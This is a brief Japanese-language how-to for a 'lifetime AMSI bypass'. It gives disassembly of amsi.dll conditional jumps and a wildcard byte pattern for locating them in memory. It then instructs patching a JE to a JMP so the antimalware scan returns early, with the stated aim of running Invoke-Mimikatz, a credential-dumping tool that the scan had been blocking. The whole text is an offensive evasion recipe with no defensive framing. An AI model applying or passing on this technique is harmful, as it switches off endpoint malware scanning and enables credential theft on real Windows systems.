
Lifetime AMSI bypass
各命令の最初のバイトを検索することでジャンプ命令の正確なアドレスを取得します。この手法は、対象データセットの更新や変更があった場合でも有効です。
例:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
検索パターンは次のようになります:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

プログラムは RDX の値をそれ自体と比較します。比較結果が 0 の場合、プログラムはリターンへのジャンプを実行します。それ以外の場合、プログラムは次の命令の評価に進みます。

「Invoke-Mimikatz」を実行できません

最初のバイトにパッチを当て、JE を JMP に変更して直接リターンさせます。


では「Invoke-Mimikatz」を実行します
